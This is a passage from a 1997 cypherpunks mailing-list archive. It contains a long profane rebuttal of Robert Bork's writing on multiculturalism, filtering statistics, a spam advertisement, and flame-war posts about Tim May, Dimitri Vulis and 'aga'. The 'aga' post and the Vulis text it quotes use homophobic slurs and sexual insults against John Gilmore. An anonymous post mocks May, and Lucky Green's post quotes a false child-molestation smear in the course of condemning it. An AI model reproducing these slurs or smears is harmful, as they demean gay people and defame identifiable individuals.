>> and there's no work for the owner.
>
> And there are several standards which are NOT compatible. Simply putting a
> chip in your pet (or child) is not sufficient to guarantee their return.

I would really like to see some statistics on the number of "lost
children" who have suffered (any given incommodation) exclusively due to
their inability to be positively linked with some True Idendity.  Most
of the English-speaking children with which I'm aquainted can answer the
question "What's your name?".
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMs9ZERvikii9febJAQFdSwP/Tvwvd/cKyU3AIZGnxzawB7TvtZzxix0n
lfORbWDAdt6NEPSST6QJKNFhfmedk34OdaeppwXiQd3S/mqFksXzctDr3oPRlgOz
uHxaHow9sGPJsraqIbXehGtbg1xBnMYrVLjEx2wnRB2yeTWr8jAWfqDrza+yGtKc
CNU0n3z4zig=
=3ElR
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sun, 5 Jan 1997 01:34:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Judge Bork on Ebonics
In-Reply-To: <v02140b07aef4c3f44fc9@[10.0.2.15]>
Message-ID: <32CF750D.7E9F@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello, what's this? I thought the Know-Nothing Party disbanded in
the early 1850's.

Steve Schear wrote:
> 
> The following is from pages 300-307 of Robert Bork's brilliant
> book, "Slouching Towards Gomorrah".  This is a book which should
> be read by everyone--and especially by liberals.

I'll pick it out of the library when I'm done with Mein Kampf. I
don't feel inclined to subsidize this ignorant kook with my money.

> The natural centrifugal tendencies of ethnicity were once
> counteracted by a public school system that stressed indoctrinating
> immigrants to be Americans. The schools were agents of cultural
> unification. They taught patriotism and standards derived from
> European cultures.

What do any of those standards have to do with "European cultures"?
Europe, like every other continent (save Antarctica), has a history
of conflict among ideas and groups. Tell me, who embodies "European 
culture" best: Luther, Charlemagne, Pope Gregory XII, Orwell,
Picasso, Nietzsche, Hitler, Churchill, St. Francis of Assisi,
Machiavelli, Marx, Diderot, Luis XIV, Robespierre, Einstein, Paul
de Man? The mark of a bigot is that he reads history selectively to
find "good" values in his own group, and "bad" values in some other
group. In fact "culture" is a fractal landscape. This isn't a
surrender to cultural or moral relativism -- just the opposite. Some
ideas are simply good, some are simply bad, independent of their
origin. This is one of the things that separates rationalists (whom
you may find in any culture) from romantics (whom you may find in
any culture).

> Part of our national lore, and glory, is the fact
> that youngsters speaking not a word of English were placed in
> public schools where only English was used and very shortly were
> proficient in the language.

Immigrants to the US today learn English twice as fast as did
immigrants to the US at the turn of the century. Greater access to
public education, the growth of the mass media, and the end of
child labor (well it's mostly ended) are the most important factors
cited.

There is far less regional differentiation in English dialects around
the country today than there was at the turn of the century. Nearly
all well-educated and socially mobile Americans under age 40 speak 
a common "broadcast TV english." Southern and Brooklyn accents are
less pronounced than they were.

> That was crucial to the formation of an
> American identity Now, however, the educational system has
> become the weapon of choice for modern liberals in their project
> of dismantling American culture.

Yup, that's us. It's all a conspiracy to drag America into the
gutter.

> Our egalitarians view every culture (other than European) as equal. 

Nope. There is no "European culture." Only idiot collectivists of the 
nationalist type group people like this.

> They resent and resist attempts to Americanize immigrants, and the
> crucial battleground is language.

A bald assertion. The straw man grows.

> So many languages are spoken by immigrants that it is impos-
> sible to provide bilingual education for all. That is why bilingual
> education is so often in Spanish, the language most immigrants
> speak. But that fact gives away the real reason for the programs.

Aha! The conspiracy unmasked!

> Vietnamese and Polish children were put into English-speaking
> classes and were competent into English long before the Hispanics
> in bilingual schools.

No evidence for this assertion exists.

> That leaves the partisans of bilingualism only
> the choice of saying that Hispanic children are not as capable as
> others or admitting that they, the educators, are driven by hostility
> to American culture, and the rewards to be had by teachers' unions
> and educational bureaucrats.

No. I choose to call you on the bullshit assertion that Hispanic
children don't learn English. This prejudice is rooted in the small
but visible segment of the Hispanic population that comprises recent
immigrants. It is indubitably true that illegal immigrants doing odd
jobs and domestic work -- the segment of the Hispanic population most
visible to sensitive anglos -- tend not to speak English.
Extrapolations from this population, though, are invalid.

> Often, the bilingualists do not care whether immigrant chil-
> dren learn English. The key to success for the students is "self-
> esteem. . . . Children do badly in school because of their feelings
> of 'shame' at belonging to a minority group rather than the 'domi-
> nant group.' For the children to do better, teachers must "con-
> sciously challenge the power structure both in their classrooms
> and schools and in the society at large." As Richard Bernstein
> writes, "Bilingual education ... is an act of rebellion against white,
> Anglo cultural domination."

Note the only evidence offered by Bork to bolster this straw man
he's building is a similar slew of bald, unsupported assertions by a
friend of his. He might as well be quoting himself.

> And the "animus against assimilation,
> is not an implicit part of the emerging educational philosophy. It is
> explicit, open, out there, a standard belief.

And in support of this rather extremist position, we have:

> 'The psychological cost
> of assimilation has been and continues to be high for many U.S.
> citizens,' declares the National Council of Social Studies (NCSS),
> in Washington, D.C., in its 1992 'Curriculum Guidelines for Mul-
> ticultural Education.' "It too often demands self-denial, self-hatred,
> and rejection of family and ethnic ties." This pathetic whine is
> not insignificant since the NCSS is the country's largest Organiza-
> tion devoted to social studies education.

I see. "Pathetic whine" name-calling in reference to a one-sentence
quote is the best you can do. At least you give a verifiable reference
so that people can see what it really says.

> Public dissatisfaction with the linguistic fracturing of society
> has led to calls for an English-only amendment to the Constitu-
> tion. The frustration is understandable, but there is no need to
> amend the Constitution to achieve an English-speaking nation. All
> that need be done is the abolition of bilingual education and the
> repeal of the Voting Rights Act's requirement of different language
> ballots.

You'd better hurry, too, so that you can disenfranchise people before
they know about it.

> once they begin to see its results. Immigrant parents want their
> children to learn English and become Americans. The opposition
> to that, manifested in bilingual education, comes from American
> elites who form an adversarial culture, alienated from the culture
> of the West and wishing to weaken it.

Who are these "American elites"? Who's in on the conspiracy? What's
in it for them?

> In 1989, the Commissioners Task Force on Minorities in New
> York concluded: "African Americans, Asian Americans, Puerto
> kicans/Latinos, and Native Americans have all been the victims of
> an intellectual and educational oppression that has characterized
> the culture and institutions of the United States and the European
> American world for centuries." All young people were being
> "miseducated" because of a "systematic bias toward European cul-
> ture and its derivatives." Bernstein asks, rhetorically, "Could the
> multicultural animus against 'European culture and its derivatives'
> emerge more clearly than that? Here we have a direct statement
> that the Western culture is harmful to nonwhite children ."

The interesting thing about this attack is that you need to accept
the Task Force's mode of analysis in order to accept Bernstein's
conclusion. What if you don't? What if you say that this "European
culture and its derivatives" thing is bullshit, all we really have is
modern culture, and be done with it? Then Bernstein's statement and
the Task Force's statments are equally nonsensical.

> Despite the evidence and the frankness of its advocates, most
> people, including very astute people, tend to accept the beneficent
> view of multiculturalism put forth by its less candid partisans.

Yes. Only the enlightened Bernstein and Bork can plumb the depths of
the conspiracy. Preach it, brother!

> Thus, one can find diametrically opposed views of the phe-
> nomenon, one put forward, for example, by Richard Bernstein

Rather than "who's wrong, who's right," I'd suggest that there is
more than one phenomenon to be viewed. Bernstein is talking about the
excesses, some real, some imagined, and O'Brien is talking about the
actual goals of the educational mainstream. I'd think that someone
actually in the educational mainstream would be a better guide to its
goals than someone with an ideological need to "expose" the conspiracy
that causes outrages like the ebonics announcement.

> O'Brien, on the other hand, thinks that multiculturalism and
> diversity are "actually both a mask for, and perhaps an unconscious
> mode for achieving, a unity which would be broader-based and to
> that extent stronger. . . . The real agenda is the enlargement of the
> American national elite to include groups of persons who have
> traditionally been excluded from the same, mainly for reasons
> associated with race and gender. What is in view is the enlarge-
> ment and diversification of the composition of the future govern-
> ing class of the United States of America."

Sounds like what I've seen, for the most part. Certainly on the high
end, like Berkeley and Stanford, this is what we're seeing. At the low
end, like those loons in the New York state college, or the Oakland
or rural Tennessee public schools, you'll get a kook or a bigot. Who
the hell wants to be a public schoolteacher these days? If you don't
pay people what they're worth, you're bound to get 1) losers and/or
2) ideologically motivated naive do-gooders. This isn't the fault of
an anti-culture conspiracy; it's simple economics and social 
stratification.

> I am afraid it is clear that Bernstein has it right and O'Brien
> has it wrong.

You're entitled to your opinion, of course, but I don't agree.

> Multiculturalism is advertised by its less candid prac-
> titioners as opening students to the perspectives and accomplish-
> ments of groups that have been largely ignored and undervalued
> in conventional curriculums.

"Less candid"? It's always a sign of trouble when you impugn the
motives and honesty of your opponent without providing contrary
evidence.

> The goal, it is said, is to enrich the
> student's understanding of the world and to teach him respect for
> and tolerance of others who are different. It substitutes an ethic of
> inclusion for the older ethic of exclusion. This is the movement's
> self-portrait, and O'Brien seems to have accepted it at face value.
> If there were truth in that advertising, if that were what the goal
> really is, no one could legitimately object to what is taking place
> in the American educational system.

And so, since it's morally impermissible to say that they really want
an exclusionary system -- he's afraid of being termed a racist -- Bork
needs to create something to which he *can* legitimately object. What's
he gonna create?

> Unfortunately, there appears
> to be very little truth in the pretensions of the multiculturalists.

Ah, just say they "seem" to be lying, and call in a friend.

> Bernstein took a two-year leave of absence from the New York
> Times to gather the facts of the multicultural ideology and its
> opponents. His is not an impressionistic book or one based on an
> ideological predisposition; it is a report of empirical findings.

BWAHAHAHA!!! Anyone familiar with Bernstein knows what a load of crap 
this is. This is simply dishonest.

> He points, for example, to the remarkable change in attitude
> towards Christopher Columbus between 1892 and 1992. Though not a
> single new fact about Columbus's life and exploits had been
> uncovered, the country's mood swung from one of uncritical adu-
> lation to one of loathing and condemnation, at least among the
> members of the "intellectual" class. The change was accomplished
> by the aggressive ideology of multiculturalism.

First, since when has "uncritical adulation" of a complex historical 
figure been objective history? Is this something that Bork and
Bernstein *favor*? Maybe we should have a state religion, too. I bet
that would really get "European culture" going here, like, say, 17th
century England.

For someone supposedly standing up for history, Bork appears to be
rather blase about it. Did nothing happen between 1892 and 1992 than
the actions of partisans of an alleged aggressive ideology of
multiculturalism? Let's see. In 1898 we had the Spanish-American War.
Yellow journalism and jingoism were at their peak. The myth of Columbus 
as American hero then ascendant was not a sign of affinity with
"European culture," but a *rejection* of it. Columbus was stripped of
his European, particularly Spanish, features and represented as an
American adventurer. He was the Santa Claus of the Monroe Doctrine.

Then Buffalo Bill hired Sitting Bull. There was the First World War
and its Lost Generation. Exclusiveness lost its cachet. Hemingway did
not romanticize Columbus. A different kind of exclusiveness grew with
the "America First" isolationist movement, which at times was
blatantly pro-Nazi. Columbus was used and viewed in many different
ways through the years.

Meanwhile, up in the ivory tower, historians worked on the facts. I
defy you to show me one book published by a real historian for a
serious college-level audience that favored "uncritical adulation" of
Columbus. What I believe happened was that the horrors of the two World 
Wars woke people up to the dangers of propaganda myths (on all sides;
the anti-German "Hun" stuff from WWI is really disgusting), and
teachers stopped lying to their pupils. Every real historian always
knew that Columbus was a complex figure.

"Loathing and condemnation" is certainly a tad strong, but Bork and
Bernstein are welcome to their rhetorical excess.

> What it signifies, and what becomes increasingly obvious, is

When someone asserts that something is "obvious" all kinds of warning
bells should go off.

> that multiculturalism is a philosophy of antagonism to America
> and the West.

And you're an ignorant buffoon.

> The hostility of the multiculturalists to this nation
> and its achievements can hardly be overstated.

But we'll do it anyway.

> Lynne Cheney, the
> former head of the National Endowment for the Humanities,
> quotes a professor who is pleased that multiculturalism has the
> "potential for ideologically disuniting the nation" by stressing
> America's faults so that students will not think this country
> deserves their special support.

Well? Does it? What purpose does indoctrinating kids with "uncritical 
adulation" serve? What were the lessons of the First World War? Let
alone the Second.

> That multiculturalism is essentially an attack on America, the
> European-American culture, and the white race, with special

Here the buffoon plays the race card. Who's his audience?

> emphasis on white males, may be seen from the curriculum it
> favors. A curriculum designed to foster understanding of other
> cultures would study those cultures. Multiculturalism does not.
> Courses are not offered on the cultures of China or India or Brazil
> or Nigeria, nor does the curriculum require the study of languages
> without which foreign cultures cannot be fully understood.

This is bunk. The straw man grows.

> Instead the focus is on groups that, allegedly, have been subjected
> to oppression by American and Western civilization--homosexu-
> als, American Indians, blacks, Hispanics, women, and so on. The

"Allegedly"? Indians and blacks might not have had anything bad happen
to them in this country? It's clear that Bork doesn't want people to
know anything about history; just "uncritical adulation" of whoever
he chooses to hold up as a model. Where will Herr Bork take us now?

> message is not that all cultures are to be respected but that Euro-
> pean culture, which created the dominance of white males, is
> uniquely evil.

There is no "European culture," only history. White males created the 
dominance of white males. Some of their *actions* were clearly evil. 
*They* were and are not.

> "First is the elimination from acceptable discourse of any claim
> of superiority or even special status for Europe, or any definition of
> the United States as derived primarily from European civilization.
> 
> "Second is the attack on the very notion of the individual
> and the concomitant paramount status accorded group identifi-
> cation.

This is hilarious. I think Bernstein and Bork are really so blind as
to their own bigotry that they see no conflict between these two
points. If group identification is supposed to be a bad consequence
of multiculturalism, then where do they get off identifying with the
white race and "European culture"? Smash the labels. They're obsolete,
as is "uncritical adulation." That went out with the Divine Right of
Kings. Remember that? That was part of the history of "European
culture." The thousand years of revolution, counterrevolution, science,
progress, retraction, war, disease, and art that followed the Divine
Right of Kings are also part of history.

> "Third is the triumph of the politics of difference over the
> politics of equality, that great and still-visionary goal of the civil
> rights movement. Multiculturalism here is the indictment of one
> group and the exculpation of all the others. . .

Here we elide into paranoid delusions.

> "This obsession with the themes of cultural domination and
> oppression [by whites] justifies one of the most important
> departures from the principal and essential goal of the civil
> rights movement, equality of opportunity. Multiculturalism
> insists on equality of results."

To use a term of probably Indo-European origin, "Bollocks."

> Hence it is that multiculturalists have turned Martin Luther
> King, Jr.'s dream into a nightmare. He asked that his children "not
> be judged by the color of their skin but by the content of their
> character," which, as Bernstein says, is the "essential ideal of
> liberalism:' But multiculturalists say, "Judge me by the color of
> my skin for therein lies my identity and my place in the world."

They're projecting again. Sure some nonwhite racists call themselves 
multicultural. Reasonable people see through that. Old bigots who
harken back to a nonexistent "European culture" are just as bad.

> Multiculturalism requires the quotas or affirmative action that
> create group dislike of other groups and self-segregation.

Four unsupported assertions in one sentence. I'm impressed.

> adopted Korean daughter could contribute no non-western per-
> spective to the school she sought to leave because she had been
> brought to this country at the age of five months. No matter; she
> was of the requisite racial group. When the controversy was
> reported in the newspapers, she was allowed to transfer. But the
> episode demonstrates that the multiculturalists are sometimes will-
> ing to force a person into a cultural identity that person does not
> have on the grounds of ancestry alone.

This is not "multiculturalist." This is "racist." See the foreword
to Ronald Takaki's book A Different Mirror for a more accurate view
of how multiculturalists would approach the situation. Drop the 
bullshit strwa man. Similarly, I would also call Bork and Bernstein 
"racist" for trying to foist some silly personal notion of "European 
culture" on me merely because I'm a standard-issue white mongrel. I'm
a modern citizen of the world. I owe no "uncritical adulation" to 
anybody.

> The quality of education must necessarily decline as students
> turn from substantive subjects to ideologically driven resentments,

Such as "uncritical adulation"?

> in the case of non-whites, or guilt, in the case of whites. Although
> white students are often required to study America's "oppressed"
> subcultures and their allegedly superior qualities, it is regarded as
> racist to require that non-whites study Western culture. That was

No. The contrived notion of "Western culture" is racist, not the notion 
that we should study it. There is world history, which we will study,
and which we know more about than this bigoted buffoon Robert Bork.

> the meaning of the radicals' attack on Stanford's Western Culture
> program in which students were required to sample the writings
> of men who had helped shape Western culture-Shakespeare,
> Dante, Locke, etc. A black student who objected to the program
> said its message was "Nigger, go home." That exclusionary inter-
> pretation is precisely the opposite of the real message of the pro-
> gram, which was "Let us study what we have in common as
> inheritors of a tradition."

Typical BS from someone who doesn't know what he's talking about. So now, 
as a result of the "radicals' attack on Stanford's Western Culture 
program," what do Stanford students study? Shakespeare, Dante, Locke, 
etc. Also Equiano and Buddha. We only gain.

What is this "inheritors of a tradition" notion? Who died and left me
Shakespeare, and why?

What do you mean "we," white man?

> The black student's objection follows
> from the perverse teaching of multiculturalism that those who
> have been "traditionally excluded" must now reject inclusion.

There is no such teaching.

> This has the odd effect of damaging all groups. The insistence
> on separate ethnic identities means that persons in each group can
> study their own culture, often in highly flattering and historically
> inaccurate form.

Damn, Bork and Bernstein are projecting *again*. It's not modern
multiculturalist scholarchip that does this, but a bigoted rooting
out of other than "European culture," by which they really mean
whatever parts they find politically convenient at the time. If Locke
is in fashion, "European culture" means Locke. If Hitler is in fashion,
"European culture" means Hitler.

> everywhere. In New York state it is official educational doctrine
> that the United States Constitution was heavily influenced by the
> political arrangements of the Iroquois Confederacy. The official
> promulgation of this idea was not due to any research that dis-
> closed its truth. Nor has any other state adopted this nonsensical
> idea. New York adopted it because the Iroquois mounted an
> intensive lobbying campaign directed at the State Department of
> Education. Far from this being a beneficial borrowing from
> another culture, it was a detrimental forcing of a false notion by
> one culture on another.

BWAHAHAHA!!! I love it when the completely ignorant presume to tell
us about history. Bork even gets current history wrong. The "nonsensical 
idea" that the Iroquois Confederacy influenced the Constitution comes 
from the fucking Federalist Papers and the proceedings of the 
Constitutional Convention. You'll find this "nonsensical idea" in the 
works of such pillars of multiculturalism as James Q. Wilson. As I 
recall, it's even in De Toqueville. I learned about this "nonsensical 
idea" in 5th grade in a conservative private school in conservative San 
Diego, California, more than a decade before this intensive lobbying 
campaign.

For your information, the Iroquois Confederacy and its political 
constitution were very important in the French and Indian War, in which 
George Washington first distinguished himself. All of the Founders from 
the nortern states would have been familiar with it. Recognition of this 
fact is not an act of politically correct tokenism; it is simply 
objective history. Now, objective history may not have the kindest things 
to say about the autonomy of the Iroquois Confederacy -- they were in 
large part a pawn manipulated in turn by the French, British, and 
Colonials -- but important they were.

Dismissing their importance as a "false notion" without even a nod to
the true history of the period tells far more about Bork's bigotry than
it does about multiculturalism.

> John Leo notes that the decision "shows
> that some school authorities, eager to avoid minority group pres
> sure and rage, are now willing to treat the curriculum as a prize in
> an ethnic spoils system." That it is ideologcally driven by guilt
> and not an attempt to pacify a large bloc of voters is clear from the
> fact that there are only a little more than 38,000 Indians in New
> York state, most of whom probably have no interest in the myth of
> the Iroquois and the Constitution.

It could also be that this "myth" is and has always been known to be 
objective historical truth. Didn't think of that one, did you, Borkie?

> This sort of thing is happening across the country as various

Yeah, yeah. This is getting boring.

> ethnic groups and feminists demand that history be rewritten
> according to their party lines.

When that happens, I flame them. I'll also flame Bork when he tries to
simply *erase* history, seeking instead "uncritical adulation" of
myths he fancies.

> This not only debases history but
> pits the various groups against one another as they struggle for
> space in the textbooks. New York's "interest in history is not as an
> intellectual discipline," Schlesinger writes, "but rather as social and
> psychological therapy whose primary purpose is to raise the self-
> esteem of children from minority groups."

Either this Schlesinger is someone other than the well-known Arthur M. 
Schlesinger, who has written on the importance of the Iroquois 
Confederacy (for example, flip through pages 80-100 of *The Almanac of 
American History*, Arthur M. Schlesinger, Jr., ed.), or Bork is being 
a little misleading in his quoting here.

> Those who have traditionally been excluded because of race
> or gender are not helped by multiculturalists who teach them that
> European culture and standards are the cause of their difficulties
> and may be jettisoned, that history has no content aside from its
> ideological usefulness, that there are different ways of knowing,
> that linear thinking is a white male stratagem to oppress those
> who are not white or male, that standard English is no better than
> a variety of dialects such as "black English." To the extent the tra-
> ditionally excluded believe any of this, they are additionally handi-
> capped in life, and further excluded. To the extent they are taught
> that self-esteem comes before achievement and leads to achieve-
> ment, they are lied to and held back.

Since this extent is zero, I see no problem.

Thanks for posting this. Beats a poke in the eye.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 5 Jan 1997 00:24:24 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v03007801aef4d95b7746@[207.167.93.63]>
Message-ID: <199701050826.CAA17738@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Thought that I would add a few statistics on cypherpunks list filtering.

Since this afternoon I received 70 messages from the mailing list.

Of those 70 28 went into my twit folder (40%).

Of those 28:

- 2 anonymous posts:
    1 was moved back to my cypherpunks folder
    1 was Tim May slander message
- Remaining 26 belonged to 4 users on my twit list (non spam)

42 of 70 made it past my filter into my cypherpunks folder (60%).

Of those 42:

- 4  were spam that got past my filter. <sigh> I only filter repeat offenders. - 12 were
on Controlling spam on the list
- 6  were on ITAR/EAR
- 3  were on SSL Spoofing
- 3  were on Tim May/Cryptoanarchy
- 3  were on Ecash
- 2  were on OCR
- 2  were on California Inet Law
- 1  was on Secret Sharing
- 6  were on misc topics


I have found that by filtering out a handfull of users plus anonymous posts the list
becomes quite manageable. As far as spam goes I don't think there is any solution other
than the delete key. A good % of the time one can tell from the message topic that it is
spam and can delete the message without opening it.

As far as the issue of paying to download unwanted messages. One a user gets a good feel
for who the want to filter out they should be able to create a
killfile on their ISP's server. 

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 5 Jan 1997 01:41:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Atilla's opinion: "maybe Tim is the problem"
In-Reply-To: <32CF51BA.1B7C@sk.sympatico.ca>
Message-ID: <v03007800aef52526a41a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:41 AM +0000 1/5/97, attila wrote:
...
>    swipe), and then there was Dr. Fred Cohen who attacled Tim on a
>    regular basis (but he was easy enough to get rid of after I checked
>    his credentials and exposed why he was fired from his professorship),
>    and now we have Dimitri and several more who are worse. Dimitri at
>    least has some good information and arguments.
>
>	you know, I've always given Tim a little slack on his occasionally
>    over-biased opinions, but...  maybe Tim is the problem; he just seems
>    to bring out the 'best' in people like Dimitri and now the list has
>    turned into a free-for-all of the outrageously obscene.

Fatuous nonsense.

Blaming me for the spewings of Detweiler and Vulis is bad enough, but
claiming that Dr. Fred Cohen was in a battle with me, or Aga is in a battle
with me, is absolute fabrication. I don't recall many interactions, if any,
with Fred Cohen, and "aga" goes straight into my trash can. Attila did not
mention David Sternlight, and recall that Sternlight and I did not get into
any flames, either. Nor did he mention Phill Hallam-Baker, with whom I have
also had no flames. In fact, I haven't been a party to many of the flames,
at least not as a poster. Not with Hallam-Baker, not with Cohen, not with
Sternlight...in each case, many others were involved in extensive flames.

This leaves Detweiler and Vulis. The archives contain the truth on why
these guys fixated on me as the object of their frustrations with the list,
should anyone seek the truth.

As to why my comments bring responses, there are likelier explanations than
Attila's "maybe Tim is the problem." For one thing, I write a lot of
essays, and launch a lot of threads...this alone implies responses are
likely. For another thing, I clearly state forceful opinions...not everyone
agrees with them, and on just about any such clearly stated opinion it is
likely that at least someone will disagree strongly, denounce me as a
racist or speciesist or elitist or whatever.

Finally, for reasons I won't speculate on here, a number of folks seem to
think of me as being somwhow closely linked to the list itself (more than
just posting frequency). Thus, when they lash out at the list they fixate
on me in some way as representing the things they dislike about the list.
(The other list founders, Eric Hughes, Hugh Daniel, and John Gilmore, are
not active on the list. Recall that Detweiler focussed roughly equally on
Hughes and myself as his "tormentors," and Vulis is of course even more
fixated on Gilmore than he is on me...I'll leave it to the abnormal psych
experts to diagnose their problems.

So, Attila, still think I'm the problem?

Those who think so are invited to add me forthwith to their kill files.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 5 Jan 1997 02:05:32 -0800 (PST)
To: attila <attila@primenet.com>
Subject: Re: (Your Comment Here)
Message-ID: <3.0.32.19970105020032.0068718c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 07:41 AM 1/5/97 +0000, attila wrote:
>	you know, I've always given Tim a little slack on his occasionally
>    over-biased opinions, but...  maybe Tim is the problem; he just seems
>    to bring out the 'best' in people like Dimitri and now the list has
>    turned into a free-for-all of the outrageously obscene.

You got to be kidding. Tim is not the problem on this list. As any long
time reader of this list surely knows, I do not always agree with Tim. But
it is Tim who writes the well thought out essays, and it are Vulis and Aga
who post day after day that "John Gilmore is a cock sucking faggot",
"Queers must be banned from the Internet" and "Timmy is a convicted child
molester that likes to fuck little children up the ass".

Let's be clear about this: Tim May is a major asset to this list. Vulis and
Aga are slime.

[Note, I am unlikely to read any replies to this post since I filter on
Vulis and similar vermin in the headers _and_ body text.]



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Flame Free <free@nettech-resources.com>
Date: Sun, 5 Jan 1997 00:39:44 -0800 (PST)
To: (Recipient list suppressed)
Subject: Flame Free Bulk E-mail
Message-ID: <3.0.1.32.19970105023222.0067e7fc@ix.gen.com>
MIME-Version: 1.0
Content-Type: text/plain




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                         with YOUR Sales Message!


                    These E-mail messages are ONLY sent
               to people who have REQUESTED info like yours.

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              for Sending Too Many E-mails or Getting Flames!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 01:18:43 -0800 (PST)
To: attila@primenet.com
Subject: Re: (Your Comment Here)
In-Reply-To: <Pine.BSI.3.95.970105072448.14657A-100000@usr01.primenet.com>
Message-ID: <199701050915.DAA28552@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


attila wrote:
>     swipe), and then there was Dr. Fred Cohen who attacled Tim on a
>     regular basis (but he was easy enough to get rid of after I checked
>     his credentials and exposed why he was fired from his professorship),
> 

Why was Dr. Cohen fired from his professorship?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Sun, 5 Jan 1997 01:58:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701050942.AA14554@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[retin] May was born when his mother was on the toilet.

  ____
  \ _/__ Timothy C[retin] May
   \\  /
     \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 5 Jan 1997 03:20:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Problems are Gay
In-Reply-To: <7c11ZD47w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970105061621.1829B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Most of the time, the problems are Gay...

On Sat, 4 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> >From csm-tkt@support.psi.com  Thu Jan  2 15:36:04 1997
> Received: by bwalk.dm.com (1.65/waf)
> 	via UUCP; Thu, 02 Jan 97 16:36:55 EST
> 	for system
> Received: from support.psi.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
>         id AA06690 for postmaster; Thu, 2 Jan 97 15:36:04 -0500
> Received: by support.psi.com (8.6.12/PSI)
> 	id PAA23158; Thu, 2 Jan 1997 15:36:02 -0500
> Date: Thu, 2 Jan 1997 15:36:02 -0500
> Message-Id: <199701022036.PAA23158@support.psi.com>
> From: Customer Support Mgmt Tickets <csm-tkt@support.psi.com>
> To: postmaster@dm.com
> Cc: abuse@psi.com
> Subject: csm-00974 (ticket update) dns-77660 (ticket update) Can you help?
> 
> Ticket #csm-00974 	01/02/97-15:35:37 mikea 	SUBJECT: dns-77660 (ticket update) Can you help?
> Posted by: Michael Abelson
> ----------
> 
> 
> This is to inform you that we have received complaints
> about traffic apparently originating in your domain. These
> messages are unwelcome intrusions that violate unwritten rules 
> of the Internet, and are strongly resented.  Please confirm 
> that you are aware of these complaints and are taking measures 
> to stop this practice. I have attached a portion of a complaint 
> for your information.
> 
> Thanks for your help on this issue.
> 
> Sincerely,
> 
> PSINet Customer Support
> 
> 
> 
> >I had lunch with Gilmore once. He slurps rather disgustingly when he eats.
> >I suppose he slurps the same way when he sucks big dicks in San Francisco.
> >
> 
> >Much of the time on the Internet, when some asshole pulls plugs and tries to
> >silence dissent, he turns out to be Gay. In particular, King John Lack-Clue
   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

I rest my case.

> >Gilmore, the Supreme and Absolute 12" Ruler of the "cypher punks", is an
> >effeminate, limp-wristed, self-admitted and -exposed cocksucking bitch.
> >
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: attila <attila@primenet.com>
Date: Sat, 4 Jan 1997 23:41:48 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: (Your Comment Here)
In-Reply-To: <32CF51BA.1B7C@sk.sympatico.ca>
Message-ID: <Pine.BSI.3.95.970105072448.14657A-100000@usr01.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 4 Jan 1997, Toto wrote:

> "Before I joined CypherPunks, I couldn't even 'spell' cocksucker.
> Now,...(Your Comment Here)."
> 
	that is my sentiment, exactly.  at one time there was a given
    level of politeness and decorum on the list; then along comes dimitri,
    aga, lester and all his ali, and so on. it has degenerated into a
    pissing match between fools. I've never object to a little "profanity"
    for punctuation, sort of like: "well? what's the difference between
    saying 'shit' and 'buffalo chip?'" Detweiler of PC Mag was a nuisance
    and got into it with Tim (he just disappeared except an occasional
